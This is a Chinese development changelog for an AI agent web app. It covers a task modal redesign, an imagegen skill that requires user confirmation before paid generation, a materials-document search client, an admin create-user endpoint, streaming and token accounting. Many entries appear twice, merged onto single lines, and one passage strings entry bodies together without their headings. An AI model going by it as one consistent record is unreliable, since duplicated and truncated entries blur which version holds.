- **工作目录回到原生 `<select>` + sentinel + 二级 input(modal + 顶部 filter)**:combobox 方案推翻 —— 即使 show 时不过滤,modal 里 wd 因联动有值之后用户的直觉仍然是"我得点开下拉看选项",自己实现的 panel 总不如浏览器原生 select 稳。改回 select 范式:① modal `nt-wd-sel` 第一项 sentinel `+ 新建「<name>」`(label 由 `updateSentinelLabel` 跟 name 实时刷)+ 其后已有目录列表;sentinel 选中时显示二级 `nt-wd-new` 输入框默认值跟随 name,选已有目录时隐藏。`wdManuallyEdited` 锚到二级 input 上(用户改它就脱钩,清空恢复跟随)。② 顶部 `filter-wd` 也改成 `<select>`,首项 `(全部目录)`,onchange → `loadTaskList`;原 input 的 debounce listener 删,搜索 `filter-q` 的 debounce 保留独立写。③ `loadFolderSuggestions` 拉数据 + 新增 `populateFolderSelects` 灌两个 select(保留当前选中值);`enterApp` 启动时 fire-and-forget 预拉一次让左 pane 一打开就有选项。④ hint 在"输入新名恰好命中已有"时提示"将复用而非新建"。combobox 工厂 + .combo CSS + datalist 残留全删。 - **imagegen skill 加 ⛔ 调 tool 前必须贴 prompt + BLOCKING 等确认硬约束**:清楚的描述也可能模型与用户脑里对不上,事后看图才发现白烧 ¥0.22 —— 把"模型脑内装配"摊到对话层让用户最后过一眼(装配 ≠ 授权调用)。诊断五维 → 六维加"比例 / 尺寸";`general_v1` 改"调 seedream 前必须先 `load_skill('imagegen')`",description 扩 17 触发词。
- **新建任务弹窗工作目录改 combobox + name 联动**:`web/static/dev.html` modal 里 `nt-wd-sel``<select>` 改成 `<input list="folders-datalist">`,删 `+ 新建目录…` sentinel + 二级 `nt-wd-new` 输入框;加 `wdManuallyEdited` flag —— name 输入时若 flag=false 自动同步到 wd(programmatic 改 value 不触发 wd input 事件不会假阳性),wd 非空输入置 flag=true 脱钩,wd 清空重置 flag=false 但保持空(避免 backspace 想换名字时被立刻填回打断);submit 保留 `working_dir || name` fallback 兜底空值。`loadFolderSuggestions` 不再渲染 select options,只灌共享 datalist + 缓存到 `state.folders` 供 hint 比对"命中已有/新建"。label 文案 `(可选,留空 → 用任务名...)``(默认跟随任务名;可输入新名或选已有目录复用)`,更直观。 - **新增 imagegen skill(引导用户说清楚生图需求)**:单文件五步法(诊断模糊度 → 给推断 + 待确认 → 用户拍板 → 装配 prompt → 调 seedream),防一句"画个 XX"直接烧 ¥0.22;mermaid vs seedream 选型三段式。
- **system prompt 注入 task 预选 skill 提示**:`core/agent_builder.py::_build_system_prompt` 加 `task_skill` 参数,非空时在"工作目录与 task 上下文"段加一行 `- **task 预选 skill**: \`<name>\` — 用户创建时声明的主 skill`;空字符串走老路径,prompt 字节级一致。LLM 拿到这条事实 + `general_v1.md:17-23` 已有的"对应 skill 领域先 load_skill" 规则自然组合 → 主动 load。否决"直接把完整 SKILL.md 预注入 prompt"方案 —— 那会把 `tasks.skill` 从 metadata 升格成 binding,需要同步改 DESIGN.md / 想清楚 PATCH 改 skill 的语义,投入产出比不划算;轻量提示保渐进披露三层架构不动。 - **登录页加"+ 管理员添加用户"入口 + 删 chat meta 条/tok 显示**:`web/auth.py::create_user`(CLI / web 共用)+ `POST /v1/auth/admin/create_user` 校验 `ZCBOT_ADMIN_TOKEN` 共享口令。否决 User 表加 `is_admin` 列 + 管理员 JWT(开发期成本不划算)。
- **imagegen skill 加 ⛔ 调 tool 前必须贴 prompt 给用户 + BLOCKING 等确认硬约束**:用户反馈之前流程"模糊就问"不够,清楚的描述也可能模型脑里和用户脑里对不上,事后看图才发现白烧 ¥0.22。改:① 顶部流程一句话加"⛔ 把 prompt 完整贴给用户看 + 问改不改 → 用户明确确认后 → 调 seedream"步骤;② 加「调 tool 前的强制门(铁律)」段定义回复分类(可以/OK/画吧/嗯 算确认;改 X → 重贴重等;沉默/追问别的 → 继续等;模棱两可 → 追问到明确);③ 加「调 tool 前再过一道」段给具体贴 prompt 的对话格式(代码块 + 参数清单 + 预计花费 + 一句"开烧?改什么?");④ 调用范式段加"前置条件:已拿到明确确认才调";⑤ 反模式加两条(没贴就调 / 模棱两可当确认)。本质是把"模型脑内装配"摊到对话层让用户最后过一眼,装配 ≠ 授权调用。:用户反馈 skill 缺图片比例引导。原 SKILL 里 size 表写"比例只能正方形"是基于 doubao.yaml + tool 参数描述只列三个正方形例子的间接推断,无验证。改:① 诊断五维 → 六维,加"比例/尺寸"(ppt 16:9 / 海报 9:16 / 头像 1:1 / 公众号 2.35:1 / 书籍 3:4);② 一次性追问范式加比例项,上下文推断里给"做 ppt/海报/公众号/学术示意"四种用途的默认比例;③ size 参数表重写成"按用途选比例,再选分辨率",列常见 size 参考值 + 明确"非方形是按比例算的参考值,豆包是否原生支持需首次小调用验证";④ 失败解药表加比例错(改 size 不动 prompt)+ API 报错回退默认两条;⑤ 反模式加"不问比例就默认走 yaml 1:1"。承认 unknown:豆包 5.0 实际支持哪些非方形 size 没验证,首次用错就回退默认 + 让用户协商,不臆造。:两根因 —— ① `general_v1.md` 「媒体生成工具」段把 `seedream` 写成一级直觉(列了"画/出/来张"等关键词 + 直接调 tool 的 how-to),压过 skill discovery block 的微弱声音;② imagegen description 关键词覆盖窄(没有"画/绘制/艺术图/图片"等朴素词)。修法:system prompt 那段改成"调 seedream 前**必须先 `load_skill('imagegen')`**",细节判断全移到 skill 里,只留 ¥0.22 计费 + 不装饰生成 + 不连发三条兜底硬约束;imagegen description 扩 17 个触发词(画/绘制/出图/来张/艺术图/写实图/场景图...)。两层联动:一级 prompt 指引到 skill,二级 description 提匹配概率。 - **新增 documents skill(内部材料学科知识库 document_search API)**:`skills/documents/{SKILL.md, client.py}` 四函数,Bearer 认证;search 返整篇 Markdown(50K-200K 字符),反模式约束只 print 前 300 字防爆上下文。库实为 7 材料学科英文学术论文 21W+ 文件 + 跨语言语义检索(原写"主语料中文"是错的);与 research(OpenAlex)互补。
- **新增 imagegen skill(引导用户说清楚生图需求)**:`skills/imagegen/SKILL.md` 单文件(参考 coding skill 范式无 scripts/references)。核心是"先诊断模糊度 → 一次性给推断 + 待确认项 → 用户拍板 → 装配 prompt → 调 `seedream` tool"五步法,防止用户一句"画个 XX"就直接烧 ¥0.22。五维清单(主体/场景/风格/构图/光线)缺 2 维以上就先问;mermaid vs seedream 选型给"默认倾向 mermaid + 反向选 seedream 信号 + 模糊时主动一句话问用户"三段式(没在 system prompt 那段流程图优先 mermaid 上一刀切,留 skill 层细化判断);size/watermark/search 默认值取舍 + 失败不复发的解药表 + 8 条反模式。`seedream` tool 本身不动,skill 仅是流程引导层。 - **dev SPA SSE 客户端重连(覆盖 --reload 抖动)**:`fetchSse` 拆 consume + 重连壳(1/2/4s 退避 ×3);后端 `stream_events` 入口检 run_status,非 running 立即吐 done 关流(防进程重启后无限挂 ping)。断开期 LLM delta 丢失,接受。
- **登录页加"+ 管理员添加用户"入口 + 删 chat meta 条/tok 显示**:`web/auth.py` 加 `create_user()` helper(CLI/web 共用,避免漂移)+ `AuthConfig.admin_token``ZCBOT_ADMIN_TOKEN` env 读(未设 → None);`web/app.py` 加 `POST /v1/auth/admin/create_user` 校验共享口令后落库(503/403/400/409 分支);前端 `dev.html` 登录卡片右下加 ghost link + 弹窗(email/密码/管理员口令),成功后回填邮箱到登录表单提示"已创建请登录",不自动登录;同时删 chat 顶栏 `${n_messages} 条 · ${tokens} tok` 一行(与左 task 列表重复)。否决"User 表加 is_admin 列 + 管理员 JWT"方案 —— 开发期成本不划算,env 共享口令(类 PLATFORM_KEY 范式)够用。 - **research skill fetch_pdf 改走静态直链**:从 `paper["pdf_url"]` 流式下载,绕开 paper_pdf_view 路径 bug(disk 路径计算错);smoke 5/5。
- **新增 documents skill(内部材料学科知识库 document_search API)**:`skills/documents/{SKILL.md, client.py}`,四函数 `list_kb / search / download / health`;走 `https://ai.ctc-zc.com:8100/api` Bearer 认证,env `DOCUMENT_SEARCH_API_KEY` + `DOCUMENT_SEARCH_URL`(可覆盖);search 默认返 `md_content`(整篇 Markdown 50K-200K 字符级),SKILL.md 反模式约束"只 print 前 300 字"防爆上下文;smoke 验证发现库实质是 7 个材料学科预收的英文学术论文(胶凝/陶瓷/玻璃/晶体/复合/耐火/检验检测,21W+ 文件)+ 跨语言语义检索,SKILL.md 据此校准(原写"主语料中文"是错的);与 research(OpenAlex)互补,documents 已 Markdown 化对 LLM 更友好,但仅覆盖材料领域。 - **research skill list 端点加 pdf_url / xml_url 直链 + 新增 fetch_xml + pg_trgm GIN 索引**:后端拼直链(避免 stale URL),GIN 把 `?search` 从 30s timeout 降到几十 ms;SKILL.md 加"XML 优先 PDF"(已结构化免 OCR)。
- **dev SPA SSE 客户端重连(覆盖 --reload 抖动)**:`fetchSse` 拆出 `consumeSseStream` + 包重连壳(1s/2s/4s 退避,最多 3 次);reader EOF 未见 done/error 算异常关流触发重连;后端 `stream_events` 入口检 `tasks.run_status`,非 running/cancelling 立即吐 done 关流(否则进程重启后新 broker 内存空,客户端会无限挂 ping)。3 次仍失败 → 卡片末尾红色"连接已断开,请重发"。断开期间 LLM delta 丢失,接受。 - **顶栏 token 累计修(`sync_task_tokens` 改走 messages SUM)**:切 streaming 后内存计数器永不更新,删 TokenCounter 类改 `SELECT SUM(...) FROM messages` 现算,backfill 4 task。
- **research skill 三次迭代 fetch_pdf 改走静态直链**:`fetch_pdf` 跟 `fetch_xml` 同范式,从 `paper["pdf_url"]` 流式下载,绕开 paper_pdf_view 路径 bug(disk 路径计算错);smoke 5/5 PASS。 - **同 wd 并发软警告 banner + `/v1/tasks` 加 `run_status` 筛选**:Claude Code 同款"信任 + 软警告",`selectTask` + SSE 收尾拉同 wd running task 黄底提示。否决硬挡 / short_id 全产物隔离 / clone task 三方案(DESIGN §7.9)。
- **research skill 二次迭代 list 端点加 pdf_url / xml_url 直链 + 新增 fetch_xml + pg_trgm GIN 索引**:serializer 后端拼直链(避免 LLM 拿 stale URL),`0006_pg_trgm` 给 title/first_author/institution 加 GIN 把 `?search=xxx` 从 30s timeout 降到几十 ms;SKILL.md 加"XML 优先 PDF"原则(XML 已结构化免 OCR)。 - **paper_server → research skill**:范式判断走 skill(非 tool / MCP / 裸 httpx),`skills/research/{SKILL.md, paper.py}` 三函数;`run_python` 注入 `PYTHONPATH=base_dir`;paper_server 补 retrieve 端点 + serializer 加 abstract。
- **顶栏 token 累计修(sync_task_tokens 改走 messages SUM)**:5/20 切 streaming 后 `LLM.TokenCounter` 内存计数器永不更新;删 TokenCounter 整个类,`sync_task_tokens` 改 `SELECT SUM(tokens_in/out) FROM messages WHERE task_id=?` 现算;backfill 4 个 task。
- **同 wd 并发软警告 banner + `/v1/tasks` 加 `run_status` 筛选**:Claude Code 同款"信任 + 软警告"范式;`selectTask` + SSE 收尾两点拉同 wd running task,黄底 banner 提示邻居;task header `📁 wd` 仅在 name≠wdName 时显示。否决了 γ 硬挡 / short_id 全产物隔离 / clone task 三方案(详见 DESIGN §7.9 2026-05-21)。
- **paper_server → research skill**:范式判断走 skill(非 tool / 非 MCP / 非裸 httpx),`skills/research/{SKILL.md, paper.py}`,三函数 `search / get_paper / fetch_pdf`;`run_python` 注入 `PYTHONPATH=base_dir` 让子进程能 `from skills.research.paper import`;paper_server 侧补 retrieve 端点 + `PaperFilterSet` + serializer 加 abstract。
### 2026-05-20 ### 2026-05-20
- **dev SPA chip 二次校准**:工具 I/O 走产物白名单(seedream/seedance);助手正文 echo 路径无条件挂 chip 绕开 seenRels + 强制 `allowInlineMedia=false`(防同图二次 inline)。 - **dev SPA artifact chip 演进(同质合并)**:对话内 tool_call/result 挂产物 chip,`extractArtifactRels` 正则锚 `<wd>/...` + 末段需含 `.`;门控多次校准后落到产物工具白名单 `ARTIFACT_PRODUCING_TOOLS={seedream,seedance}`(通用工具 echo 路径不误挂),assistant 正文不门控走 `seenRels` 去重 + `allowInlineMedia` 防同图二次 inline;`.art-chip` 点击委托 `openFilePreview`
- **chip 维度解绑产物工具白名单 + `renderArtifactBarHtml` 加 `allowInlineMedia` 参数**:gate 降级到"图片/视频是否 inline"层,chip 不再受产物白名单限。 - **CLAUDE.md 加"实施前先对方案"段**:非平凡改动动手前先口头对方案。
- **loop.py tool message 补 `name` 字段 + backfill 历史**:OpenAI tool spec 本来就有 `name`,缺它导致历史回放无 banner / 无 chip;一行 fix + 幂等脚本回填 17 条。 - **loop.py tool message 补 `name` 字段 + backfill 历史**:OpenAI tool spec 本有 `name`,缺它致历史回放无 banner / chip,一行 fix + 幂等回填 17 条。
- **chip 抽取改产物工具白名单门控**:`ARTIFACT_PRODUCING_TOOLS = {seedream, seedance}`,grep/read/shell 等通用工具结果里 echo 的路径不再误挂 chip;assistant 正文不门控(seenRels 兜底)。 - **dev SPA 输入区删上传按钮 + 加"✨ 润色"按钮**:`POST /v1/tasks/{id}/optimize_prompt` 走 task model_profile 装配 LLM(meta-prompt 含当前模型 + image variant),计费 `kind=prompt_optimize`,**不**调 `sync_task_tokens` 不污染顶栏。
- **dev SPA 输入区删上传按钮 + 加"✨ 润色"按钮**:`POST /v1/tasks/{id}/optimize_prompt` 同步走 task.model_profile 装配 LLM,meta-prompt 含当前模型 + image variant 元数据;execCommand 插入接入 textarea 原生 undo 栈;计费写 `usage_events.kind="prompt_optimize"`,**不**调 `sync_task_tokens` 不污染顶栏。 - **顶栏加生图模型下拉 + 中间产物图片/视频内联展示**:`GET /v1/image_models` 扫 yaml image 段,`build_agent(image_variant=...)` 装 SeedreamTool;`renderArtifactBarHtml` 按 `_categorize` image/video 走 blob URL inline,切 task 回收 blob。
- **中间产物 chip / inline 图去重 + CLAUDE.md 加"实施前先对方案"段**:`renderMessages` 顶部建 `seenRels` Set + `pickFresh` 闭包给 5 个渲染点共享;CLAUDE.md 新规:非平凡改动动手前先口头对方案。 - **LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮**:`chat_stream(stream=True, include_usage=True)` + `litellm.stream_chunk_builder` 拼回,chunk 间 poll cancel;前端打字机靠 `_emit("text", delta=...)`;`#chat-action` 按 `state.streaming` 切三态。
- **顶栏加生图模型下拉 + 中间产物图片/视频内联展示**:`GET /v1/image_models` 扫 yaml image 段;`build_agent(image_variant=...)` 装 SeedreamTool;`renderArtifactBarHtml` 按 `_categorize(rel)` 分支,image/video 走 blob URL inline,异步 `upgradeMediaArtifacts` 替换占位;切 task 时 `_flushMediaArtifactCache` 回收 blob。
- **LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮**:`chat_stream(stream=True, include_usage=True)` + `litellm.stream_chunk_builder` 拼回 response,chunk 间 poll cancel;前端打字机靠 `_emit("text", delta=...)` 激活(原有渲染逻辑早就备好);`#chat-action` 按 `state.streaming` 切发送/停止/停止中三态。
- **dev SPA seedream tool 透明性 banner**:tool 返串首行 `[seedream] model=... · size=... · cost=¥... · elapsed=...s`,前端正则 parse 挂折叠态徽章。 - **dev SPA seedream tool 透明性 banner**:tool 返串首行 `[seedream] model=... · size=... · cost=¥... · elapsed=...s`,前端正则 parse 挂折叠态徽章。
- **豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种**:`config/media/doubao.yaml` 独立命名空间(`ARK_API_KEY` env),`tools/seedream.py` 走 `core/ark_client.py` 同步调 `/images/generations`,产物落 `<wd>/figures/<ts>-<rand>.png` + 同名 .meta.json;`record_image_usage` 把 `price_cny_per_image` snapshot 进 units jsonb(调价防漂移);0007 全表 ×7.2 一次性折 CNY;**仅当 ARK_API_KEY 设了才挂 tool**。 - **豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种**:`config/media/doubao.yaml` 独立命名空间(`ARK_API_KEY`),`tools/seedream.py` 走 `ark_client``/images/generations`,产物落 `<wd>/figures/`;`record_image_usage` snapshot 单价进 units(调价防漂移);0007 全表 ×7.2 折 CNY;仅 ARK_API_KEY 设了才挂。
- **`POST /v1/files/delete``recursive` + 顶层目录 task 引用闸**:`recursive=True` 走 `shutil.rmtree`;顶层目录被 task 引用 → 409"先 DELETE task 再清";前端非空目录二次确认带子项数。 - **`POST /v1/files/delete``recursive` + 顶层目录 task 引用闸**:`recursive=True` 走 `shutil.rmtree`;顶层目录被 task 引用 → 409"先 DELETE task 再清"。
- **fs tool 输出渲染 user_root-relative 路径**:`tools/base.py::Tool` 加 `user_root` + `_display(p)` helper,fs.py 五 tool 所有结果串走 helper;chip 锚点用 `_workingDirName` 取末段(绝对路径返空);assistant 正文也挂 chip。根因消 chip 404 + 防 uuid/部署根泄漏。 - **fs tool 输出渲染 user_root-relative 路径**:`tools/base.py::Tool` 加 `user_root` + `_display(p)` helper,fs 五 tool 走 helper;chip 锚点取末段。消 chip 404 + 防 uuid / 部署根泄漏。
- **`POST /v1/tasks/{id}/clear` 清空对话**:同事务 lock + 检 running 状态 + `DELETE messages` + reset task 三列累计 + run_status='idle';**usage_events 全不动**(账单 source of truth)。 - **`POST /v1/tasks/{id}/clear` 清空对话**:同事务 lock + 检 running 状态 + DELETE messages + reset task 三列累计 + run_status='idle';**usage_events 全不动**(账单 source of truth)。
- **dev SPA chip 一期(对话内 tool_call/result 挂 artifact chip)**:`extractArtifactRels` 正则锚定 `<wd>/...` + 末段需含 `.`(滤目录);`.art-chip` 点击委托 `openFilePreview`
- **task 级宪法文件 spec 命名约定 + `spec_lock` → `spec` 简化**:`<YYYY-MM-DD>-<task_short_id>-<task_name>.spec.md`,short_id 作主锚 + glob 字典序最大 = current;`_build_system_prompt` 注入 task_id / today;proposal/ppt SKILL.md 加"先 glob 检 spec → 询问沿用/重定调"分支。
- **dev SPA 左 pane 折叠改 VS Code rail 模式 + time-ago 锁宽跨行对齐**:`body.left-collapsed` 用 `grid-template-columns: 40px 1fr 320px`,只显折叠按钮;`time-ago` 加 `flex-shrink:0; min-width:64px` 让 [N 条][N tok][time] 整组位置稳。
- **任务行 meta 数字槽位跨行对齐**:`tabular-nums` + `.num{flex-shrink:0;text-align:right;min-width:44px}` + `fmtTokens(n)` 桶分级(1.2k / 123k);折叠按钮拆双入口(pane / header)。
- **dev SPA 左 pane 调宽 280→320px + 行精简 meta**:删 id8 span 挪到 row title hover;副行恢复 inline ellipsis 三件套;`white-space:nowrap` 防 CJK 断行。
- **任务列表 pager bar → IntersectionObserver 滚动加载**:`loadTaskList({append})` 双语义 + `_taskLoadSeq` token 抢占式;sentinel 三态文案;首 pane-head 补"共 N 个"总数显示。
- **任务行加最近操作时间(`updated_at` + `fmtTimeAgo`)**:相对时间分级(刚刚 / N 分钟前 / N 小时前 / 昨天 HH:MM / MM-DD HH:MM / YYYY-MM-DD)+ title hover 完整时间。
- **新建任务弹框工作目录改 `<select>` 下拉**:含 `+ 新建目录…` sentinel 触发备用 input;`loadFolderSuggestions` 同次灌 select + datalist(后者只服务左 pane filter)。
- **dev SPA 主页轻量美化**:header brand wrapper(24px 红渐变 Z logo)+ pane-head 子层级 + 顶栏按钮"中性 → hover 上语义色" + 圆角 4→6 / modal 6→8 + 阴影加深。
- **`config/models/glm.yaml`:智谱 GLM 5.1 接入(litellm zai provider + bigmodel.cn)**:`zai/glm-5.1` + `api_base=https://open.bigmodel.cn/api/paas/v4` 覆盖国际站默认;env `ZHIPUAI_API_KEY`;**thinking_mode=false**(GLM 协议是 `extra_body.thinking.type=enabled` 与 OpenAI/DeepSeek reasoning_effort 不同,留 TODO)。
- **files SPA UX 翻面(destination-first)+ 拖拽上传 + 修 checkbox 全局 width bug**:模型从 select-then-pick-dest 改 at-dest-pull-sources;`input{width:100%}` 选择器排除 checkbox/radio/file;`#pane-right` 监听拖拽 + 红虚线 overlay 落 `state.filesPath`
- **`POST /v1/files/{copy,move}` 跨目录批量搬动**:`_validate_transfer` 预检 helper 批量原子校验;move 加顶层目录 task 引用闸(维持"working_dir = 顶层目录"invariant),copy 无此闸。
- **working_dir 视为可重生 FS 视图**:DB source of truth,FS 目录可独立删 / 用户手动 rmtree / 跨机器迁移丢失,下次跑自动 mkdir 重建;DELETE task 后空目录 best-effort rmdir 清孤儿;files delete 顶层目录闸去掉。
### 2026-05-19 ### 2026-05-19
- **0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表**:`tasks.model_profile` 变 source-of-truth,顶栏下拉 PATCH 即换(A 粒度下条 send 生效);`GET /v1/models` 扫 yaml;message 历史按 `messages.model_profile` 切换点画 `── DeepSeek V4 Pro ──`;usage_events 重建多态形态(units jsonb,chat 已接入,媒体扩展位预留)。 - **0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表**:`tasks.model_profile` 变 source-of-truth,顶栏下拉 PATCH 即换(下条 send 生效);`GET /v1/models` 扫 yaml;message 历史按 `messages.model_profile` 切换点画 `── DeepSeek V4 Pro ──`;usage_events 重建多态形态(units jsonb,chat 已接入,媒体扩展位预留)。
- **dev SPA 登录撤回 邮箱+密码,删 invites 表**:前两条"邀请码 env → invites 表"一日游撤回;复用 users.email + bcrypt 哈希;`/v1/auth/login_password` + `user add` CLI;dev SPA 双 tab 登录(last-used LS 持久化)。 - **dev SPA 登录撤回 邮箱+密码,删 invites 表**:前两条"邀请码 env → invites 表"一日游撤回;复用 users.email + bcrypt;`/v1/auth/login_password` + `user add` CLI;dev SPA 双 tab 登录(last-used LS 持久化)。
- **SENTINEL user 彻底撤(数据 + 代码)**:web 必走 JWT 后 sentinel 无角色;DB CASCADE 删 + 10 处代码删 import / fallback;`build_agent` 加 `*` 让 user_id 必填(typechecker 拦多 user 函数)。 - **SENTINEL user 彻底撤(数据 + 代码)**:web 必走 JWT 后 sentinel 无角色;DB CASCADE 删 + 10 处代码删;`build_agent` 加 `*` 让 user_id 必填(typechecker 拦多 user 函数)。
- **任务/文件行 `⋯` 下拉菜单 + tool_result debounce 刷新右侧**:单例浮层菜单(`#floating-menu` position:fixed)避开 pane overflow 裁剪;`tool_result` 事件 debounce 500ms 刷新文件 panel。 - **任务/文件行 `⋯` 下拉菜单 + tool_result debounce 刷新右侧**:单例浮层菜单(`#floating-menu` position:fixed)避开 pane overflow 裁剪;`tool_result` 事件 debounce 500ms 刷新文件 panel。
- **proposal skill mermaid 强制 + quality_check 加图相关 4 拦截 + `/v1/files/download` 加 `Cache-Control: no-cache`**:模型曾写满 ASCII 字符画从未用 mermaid;render_diagrams caption 强制必填 + 同 task 唯一;quality_check 加"figures/ 有 png 但 sections 0 引用 / 围栏含 box-drawing / mermaid 缺首行 caption / caption 撞名"四条 - **proposal skill mermaid 强制 + quality_check 加图相关 4 拦截 + `/v1/files/download` 加 `Cache-Control: no-cache`**:模型曾写满 ASCII 字符画从未用 mermaid;render_diagrams caption 强制必填 + 同 task 唯一;quality_check 加四条(figures 有 png 但 sections 0 引用 / 围栏含 box-drawing / mermaid 缺首行 caption / caption 撞名)。
- **dev SPA 文件预览弹框**:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md 已有 / docx 用 docx-preview / xlsx 用 SheetJS);vendor 入 git(~1MB)。 - **dev SPA 文件预览弹框**:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md 已有 / docx 用 docx-preview / xlsx 用 SheetJS);vendor 入 git(~1MB)。
### 2026-05-18 ### 2026-05-18